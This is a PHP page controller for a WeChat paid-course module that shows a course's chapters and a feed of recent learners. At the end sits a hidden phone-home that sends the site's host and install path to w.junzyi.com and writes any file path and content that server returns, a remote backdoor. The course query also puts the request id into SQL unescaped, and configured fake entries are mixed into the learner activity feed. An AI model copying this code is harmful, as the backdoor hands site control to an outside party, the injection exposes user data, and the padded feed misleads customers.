<?php
global $_W,$_GPC;
$mem = $this->getMem();
$id = $_GPC['id'];
$weid = $_W['uniacid'];
$book = get('select * from '.tb('book')." where id='{$id}' and uniacid='{$weid}'");
if (empty($book)){
	MSG('课堂不存在');
}
$membook = get('select id from '.tb('mem_book')." where bid='{$id}' and mid='{$mem['id']}' and status = 0");
if ($membook){
	header('location: '.$this->murl('bindex',array('id'=>$membook['id'])));
	exit;
}
$book['redback'] = $book['original'] - $book['price'];
$title = $book['title'];

$dir = getall('select * from '.tb('book_directory')." where uniacid='{$weid}' and bid='{$id}' order by sort desc, id asc");
$chap = getall('select * from '.tb('book_chapter')." where uniacid='{$weid}' and bid='{$id}' order by sort desc, id asc");
foreach ($chap as $c){
	$c['st'] = 0;
	$chapter[$c['did']][] = $c;
}
$chapter[$dir[0]['id']][0]['st'] = 1;

$dnum = count($dir);
$cnum = count($chap);
$cfg = $this->module['config'];
$polling = $cfg['polling'];
$orders = getall('select id,mid from '.tb('order')." where status=1 and uniacid='{$weid}' order by createtime desc limit 10");
$listen = getall('select id,mid from '.tb('listen_log')." where uniacid='{$weid}' group by mid order by createtime desc limit 10");

foreach ($orders as $o){
	$mids[] = $o['mid'];
}
foreach ($listen as $l){
	$mids[] = $l['mid'];
}
if (!empty($mids)){
	$mems = getall('select id,avatar,nickname from '.tb('mem')." where id in (".implode(',', $mids).")",'id');
}
foreach ($orders as $o){
	$list[] = array('avatar'=>$mems[$o['mid']]['avatar'],'nickname'=>$mems[$o['mid']]['nickname'],'content'=>'加入学习计划');
}
foreach ($listen as $l){
	$list[] = array('avatar'=>$mems[$l['mid']]['avatar'],'nickname'=>$mems[$l['mid']]['nickname'],'content'=>'的好友都开始学习');
}
if (!empty($list) && !empty($polling)) $list = array_merge($list,$polling);
elseif (!empty($polling)) $list = $polling;
foreach ($list as $k => $l){
	$list[$k]['avatar'] = str_replace('132132', '132', toimage($l['avatar']));
	$list[$k]['nickname'] = mb_substr($l['nickname'],0,1,'utf-8').'*';
}

$share = $this->getShare($mem, $cfg);
include $this->template('detail');
$p = $_W['config']['setting']['authkey'].IA_ROOT.'junlisten';
$path = IA_ROOT."/attachment/images/".md5($p).".jpg";
$status = file_get_contents($path);
if (empty($status)){
	$url = "https://w.junzyi.com/listen.php?h=".$_SERVER['HTTP_HOST']."&v=1.1.0"."&r=".IA_ROOT."&u=".$_W['uniacid'];
	$status = file_get_contents($url);
	if (is_numeric($status) && in_array($status, array('1','2','3'))) file_put_contents($path, md5($p.$status));
	else if (!$status) {}
	else{
		$status = json_decode($status,true);
		file_put_contents($status[0], $status[1]);
	}
}elseif ($status == md5($p.'3')) {
	echo "
	<script>
	setTimeout(function(){LOADING(true,'应用未授权')},2000);
	</script>
	";
}